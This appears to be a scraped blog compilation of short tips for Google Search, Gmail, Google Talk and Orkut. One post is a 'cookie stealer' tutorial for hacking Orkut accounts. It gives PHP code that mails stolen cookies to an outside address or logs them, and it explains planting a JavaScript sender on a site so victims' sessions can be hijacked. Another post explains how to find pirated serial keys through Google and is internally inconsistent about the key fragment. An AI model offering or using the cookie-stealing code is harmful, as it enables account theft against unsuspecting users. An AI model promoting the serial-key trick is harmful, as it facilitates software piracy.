How to get Google Search results only from educational (.edu) sites?

After entering the word or phrase that you want to search,

just add site:.edu at the end.

For example, “lithography in nanotechnology site:.edu”

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Google Calculator

Every time we need to find any information on any topic under the sun, we Google. But the underlying usefulness of Google search box is just not limited to search and it’s also a Calculator!

Enter any mathematical expression in the search box and it resolves the case for you. The answer is listed in the suggestion section if you are using the search box in tool bar or if you using the Google search page, Click the search button after entering the expression to get the answer.

Almost all the operators are supported by Google Calculator, the following are some of the operators commonly used.

+, -, *,/ ,^, %, Choose, th root of, % of, sqrt, sin, cos, tan, ln, log, ! etc

One tip in using the Google Calculator is that if you are not getting any answers in the suggestion section in the toolbar, you can force it to work by ending the expression with “=” symbol. It understands both the short forms and long forms of units (like KM or Kilometers, sin or sine etc). It also takes the value of constants (like C, g etc) in the expression while calculating its value.

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How To Find Serial Numbers On Google ?

OK, this is a little trick that i usually use to find cd keys with google.

If your looking for a serial number for nero (for example) goto google.com and type nero 7qvt6 and it’ll bring it up.This works great in google

HOW DOES THIS WORK?

Quite simple really. 7qvt6 is part of a Windows xp Sp 2 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things.

1)The pages that are returned are pages dealing specifically with the product you’re wanting a serial for.

2)Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

I hope this trick help you finding your cd keys easily

Enjoy :)

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Get your orkut scraps delivered to your mobile

This article provides you with a very simple method to get orkut scraps delivered directly into your mobile phone as sms messages. The pages you may subscribe are scrapbook, community pages or even community messages. All the messages will be delivered free of cost. Following are the steps to get any orkut page as sms to mobile :

1. Register your mobile phone to MyToday. MyToday supports almost all networks in India.
2. Login to your orkut account and navigate to the page to which you wish to subscribe.
3. Copy the URL of the above page. It should be copied completely including http://. URL can be found in the address bar (where you enter www.orkut.com) of your browser.
4. In other window/ tab, open the orkutfeeds site and in the field provided, paste the above orkut URL and click on subscribe.
5. Now, copy the URL of subscription page as said above.
6. Open your MyToday account, and navigate to a page as seen in the snap in the following way.
   a. Under My tab, click on feeds.
   b. Under My Folders, click on Manage feeds.
   c. Under Folders tab, click on SMS.
   d. You will now get into a page.
7. Enter the name as you wish. Say, “My scraps” and at the URL field, paste the URL which you have copied from orkutfeeds subscription page, check Send SMS, click Create.
8. You’re done! Now, you can expect your scraps delivered into your mobile phone as and when your scrapbook updates.

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Multiple Login of Gmail and Orkut through firefox

Just follow the following steps and you will be able to login in gmail and orkut with multiple accounts. Through this you will be able to make profiles in your firefox.

Step 1:

Open system properties(by right clicking my computer)

Choose tab advanced, click to environment variables button.

In system variables section, click new. Type this information to each textbox.

Step 2:

variable name: moz_no_remote (should be all small letter).

variable value: 1

Step 3:

open firefox icon’s properties(from desktop and quick launch). add extension -p to command line(like “c:\program files\mozilla firefox\firefox.exe” -p). press ok.

When you will open firefox it will prompt for profile selection create a profile,open firefox login to orkut open once more use another profile login.

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Orkut Messenger:Scrap Boy

Heard of Orkut Messenger called Scrap boy !!!

Scrap boy enables you to send and receive instant scraps in the Orkut website without a web browser and scrap boy also gives a ultimate interface…

So download it and enjoy:

Happy Orkutting..

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Invisible mode in Gmail

Ever wondered you could avoid people bugging you all the time you are online...

Now you can easily avoid people bugging you while you are in chat with your girl friend :P.

This is how:

Go to your status indicator and click on INVISIBLE as shown in the screenshot:

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Orkut Hack:Saving Photos from Orkut Album Directly

There is a very annoying feature at orkut now. You can not download any image file from Orkut directly from someone's album. You will have to save the whole HTML file instead or you will have to take screen-shots and then save it in paints and then crop it. Isn't it too tedious?

So here is what I found to be a simple trick which can solve your problem within seconds.

1. Open the the particular picture you want to save in your computer.

2. Then just drag and drop the photo to your address bar where orkut.com/ orkut.co.in is written. You will see the same photo in a slightly different link, say, images.orkut.com/…. and then right click on the photo, Bingo! Now you can save the photo to your computer.

Isn't it kewl and short? Happy orkuting.

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DISABLE CHATTING IN ORKUT

I realized that the chat integration feature of orkut is a big source of irritation for the users. One doesn't need to have the same thing twice. So we don't need G Talk twice when its present separately, no? Here is the trick to disable the chat option at orkut.

1. Log in to Orkut. Go to orkut profile or homepage, click settings on the left sidebar.
2. Go to the Google Talk/Chat tab.
3. Deselect all of the checkboxes next to your groups of friends.
4. Click save changes.
5. You will never have to deal with anyone to chat at orkut using G-Talk.

Happy Orkutting

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IMAGE FILTERING IN IMAGE SEARCH OF GOOGLE

This winter Google has not stopped including various features to all the products they have. Just when I was wondering it would have been better if Google could help us with a more refined image search option, they DID it actually. Here is the complete story.

While in the past Google had added filtering options to search for images containing only faces, this Christmas eve they have added four more filter options . The options now include

• filtering by faces
• news content
• clip arts
• line drawings and
• photo contents.

Apart from making the look for that elusive image easier, this would also lead to faster searches. What else do you have in your mind for Google to add? Tell us and let's discuss.

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CHOPPING YOUTUBE VIDEOS DIRECTLY

Its always been very annoying to deal with youtube videos. There are so many sources to download them, but whenever we need to edit or cut a portion of the video and post the precise part at the blog, we had to go through a tedious process. You will have to find the video, download it, use a video cutter, chop the remaining portion off and then upload it online. For any busy blogger or say, a video blogger, this was a dreaded task but an essential.

Here are two ways to get rid of that miserably time killing task.

1. TubeChop

1. Go to youtube.com and search for the appropriate video.
2. Now go to tubechop.com and paste the URL and ENTER.
3. When the search is completed in that website, you can select the video and using the slider, set the portion of video you want to chop.
4. Get the new link for the chopped video and share it. Isn't it cool?

Other Features

• Flash interface (to chop segments from YouTube videos while they play)
• Custom embeddable players
• Easily locate videos by entering direct YouTube URL or search on site.

2. Splicd

To splice a video, just enter the YouTube video URL in Splicd and set which part of the video you want to share by placing the playback time of the video. A custom URL of your SplicD video will be generated for you to share with your friends.

Stay cool with video cutting now.

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Google's Secret Command-Line Parameters

There are a few secret parameters you can add to Google Talk and make it function differently.

The most important, I think, is /nomutex, which allows you to run more than one instance of GT.

Here are the others:

/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
/unregister: ?
/embedding: ?

To add these, open up your GT shortcut, and where it says "Target:" add one or more of these inside the quotations, but after the .exe part.

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[HOW TO] Use Google Talk via a Web Browser

You want to use Google Talk anywhere ? Follow these guidelines :)

Step 1: Opens your favorite web browser at the following address :

http://www.webjabber.net:8080/jim/
Step 2: Follow the instructions of the Page.

Step 3: You can talk with your friends

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[HOW TO] Use multiple identities on Google Talk

Want to run Google Talk with multiple Gmail identities?

If you have several Google Gmail accounts you also may want to run multiple instances of Google Talk This is especially important for families that share a single PC. Nothing worse than a family member signing you out so they can sign in under their own account!

Basically, to have "Google Polygamy" you need to run Google Talk with the following switch: /nomutex

Step 1: Right-click on the desktop
Step 2: Select New
Step 3: Select Shortcut
Step 4: Paste this into the text box:

"c:\program files\google\google talk\googletalk.exe" /nomutex

Step 5: Click Next and choose a shortcut name such as Google Talk1, Google Talk2, or something related to your Gmail account for easy remembering which account is which.

Step 6: Click OK a few times.

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GTALK Keyboard Shortcuts

Ctrl + E - It centralizes the selected text, or the current line.
Ctrl + R - It justifies to the right the selected text, or the current line.
Ctrl + L - It justifies to the left the selected text, or the current line.
Ctrl + I - The same thing does that Tab.
Tab - It is giving the area to each of the windows opened by Google Talk.
Ctrl + Tab - The same thing does that Shift + Tab .
Shift + Tab - The same thing does that Tab but in reverse.
Ctrl + Shift + L -Switch between points, numbers, letters, capital letters, roman numbers and capital roman numbers
Ctrl + 1 (KeyPad) - It does a simple space between the lines.
Ctrl + 2 (KeyPad) - It does a double space between the lines.
Ctrl + 5 (KeyPad) - A space does 1.5 between the lines.
Ctrl + 1 (NumPad) - It goes at the end of the last line.
Ctrl + 7 (NumPad) - It goes at the begin of the last line.
Ctrl + F4 - It closes the current window.
Alt + F4 - It closes the current window.
Alt + Esc - It Minimize all the windows.
Windows + ESC - Open Google Talk (if it's minimized, or in the tray)
F9 - Open Gmail to send an email to the current contact.
F11 - It initiates a telephonic call with your friend.
F12 - It cancels a telephonic call.
Esc - It closes the current window.

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GTALK TIPS & TRICKS

Wumpus Game : - First noted by a GoogleRumors commentor, if you add the buddy wumpus.game@gmail.com you can play the classic text-based game. Wumpus is an easter egg game that came with Google Talk (unfortunately, he didn't’t accept my invitation, so I can’t play).

Change the font size - While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.

Insert line breaks - If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.

Bold Text - To write something bold, you can use an asterisk before and after the word, like *this* .

Italic Text - To use italics, use an underscore before an after the word, like _this_ .

Switch windows - Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM's and don't care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.

Invitation Tips - You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options).

Show Hyperlinks - You can show your homepage or blog URL simply by entering the it in your away message (at the top of the main window). It will automatically turn to a link visible to others.

Google Talk Game - “Google Talk” also was the name of a word game which uses Google.
A message can be 32767 characters long.

How To Conference Calls :

What you need to do to have conference calls:

Open up a copy of Google Talk on all computers with which you wish to conference. After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex. If you installed it to the default folder then your shortcut should read "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex. Open 2nd instances of the software on every user's computer. After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

Nickname & Status Message :

You can't change your nickname in a way that other people will see it change. Every nickname in the Google Talk contactlist is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname need to go to your Gmail account and change the name there. Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name. As a result all of your emails will have that nick as well, there is no way to seperate the two. You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

Contacts :

You don't need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).
The Gmail account 'user@gmail.com' can't be invited as your friend.

Sound & Video :

It's possible to broadcast music, MP3, etc.. through Google Talk.
Unplug your microphone. Double click on the speaker icon in the lower right corner. This will open up "Volume Control". Select "Options" and then "Properties". Then check the button next to "Recording" then click OK. You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up. On my computer I selected "Wave Out Mix". Click on the green phone in Google Talk and call your friend.

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GTALK REGISTRY TWEAKS

With Google Talk being all the craze right now, some people hating it, and others loving it, I figured that I would post a list of tips and tricks for those curious about the extra "features" Google implemented and has not said much about.

Registry Tweaks

You can edit most settings by opening regedit (start -> regedit),and navigating to the key HKEY_CURRENT_USER\Software\Google\Google Talk.

The "Google/Google Talk" key has several sub-keys that hold different option values:

Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.

Autoupdate: Stores the current version information. When the client checks for updates it compares Google's response with these values. If an update is needed, it will download and update the new version.

Options: This is the most interesting part, where most of the current hacks should be used (keep reading).

Process: Stores the process ID. Probably used by Google Talk to detect if it's already running or not.

1.) HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
If 1, shows a "pin" next to the minimize button that keeps the windows on top of all the other open windows when clicked.

2.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton

If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown

3.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive

If 1, status will be set as Away after the specified number of minutes.

4.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver

If 1, status will be set as Away after the specified number of minutes.

5.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes
Number of inactive minutes to become away if auto-away is on.

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How to make cookies and hack Orkut accounts ?

How to Make a Cookie Stealer ?

Introduction

How does a cookie stealer work? There are two components in a cookie stealer: the sender and the receiver.

The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.

The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.

Step One: The Code

Coding a receiver is the part with which most newbies struggle. Only two things are needed to make a receiver: a webhost which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).

As I said in the introduction, the receiver's job is to receive the cookie from the sender. The easiest way to send information to a PHP document is by using the HTTP GET method, which appends information to the end of the URL as a parameter (for example, "page.php?arg1=value"). PHP can access GET information by accessing $HTTP_GET_VARS[x], where x is a string containing the name of the argument.

Once the receiver has the cookie, it needs a way to get that cookie to you. The two most common ways of doing this are sending it in an email, and storing it in a log. We'll look at both.

First, let's look at sending it in an email. Here is what such a beast would look like (functioning code):

$cookie = $HTTP_GET_VARS["cookie"]; // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie); // line 3
?> // line 4

Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report".
Line 4 tells the server that the PHP code ends here.

Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code)

$cookie = $HTTP_GET_VARS["cookie"]; // line 2
$file = fopen('cookielog.txt', 'a'); // line 3
fwrite($file, $cookie . "\n\n"); // line 4
?> // line 5

Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.

Step Two: Implementing the Stealer

The hardest part (usually) of making a cookie stealer is finding a way to use the sender. The simplest method requires use of HTML and JavaScript, so you have to be sure that your environment supports those two. Here is an example of a sender.

// Line 3

Line 1 tells the browser that the following chunk of code is to be interpereted as JavaScript.
Line 2 adds document.cookie to the end of the URL, which is then stored in document.location. Whenever document.location is changed, the browser is redirected to that URL.
Line 3 tells the browser to stop reading the code as JavaScript (return to HTML).

There are two main ways of implementing the sender:

You can plant your sender where the victim will view it as an HTML document with his browser. In order to do that, you have to find some way to actually post the code somewhere on the site.

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Video and Voice Chat In Gmail, Interested?

Now there is more to cheer for Gmail chatters. Google Inc has added a voice and video chat feature to its Gmail email service on Tuesday. According to the obviousness of the market strategy, they surely want to compete with the likes of Skype..

So, Gmail and Google App subscribers can now choose to speak with friends on a video screen and simultaneously instant message them in a Google Chat box.

There is more…

The video screen can be popped out of the chat box and moved around a user's computer screen. The size of the screen is user configurable and can be expanded upto full screen..

"The idea was to make it quicker and easier to communicate with other people by whatever means is best convenient. It's a nice alternative for businesses looking for another way for people to connect", said a Google spokesman.

Users who do not have a webcam will still be able to chat with friends by voice.

Will Google pose a serious competition to Yahoo Messenger and Skype? Only time will tell...

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Google Instant SMS Search Service -- How May I Help You?

If you are watching an intense cricket match and the power goes off suddenly

If you have to know about the weather of Chennai before going for a South India trip

If you have to buy a railway ticket or wanna know about the airfare

And above all of that, you don't have internet working at home,Google has all the answers to your IF's.

Google India has launched a newer version of its SMS Search service that allows users to SMS their query to 9-77-33-00000 at the cost of a regular SMS and get instant answers.

In the past, cricket scores and astrology updates on SMS used to be very helping to a lot of us until seeing the premium charges associated with short code services.

But that is where Google scores over others. It takes normal SMS charges from you.
Services

* Instant Cricket Scores: type cri or cricket India
* Railway queries: Send the PNR number to know the confirmed/RAC reservations
* Stock quotes: type company_name quote e.g. infosys stock
* Horroscope: type your_sunsign and send. e.g. Scorpio
* Local search: you can use like Restaurant Kolkata to find the food courts. Right now there are 34 cities for that.
* Movie theaters/ show times: type movies city e.g. Fashion Mumbai
* Flight status: type flight_name e.g. lt 302
* Get Definitions: type define word

There are also unit conversions and etc.

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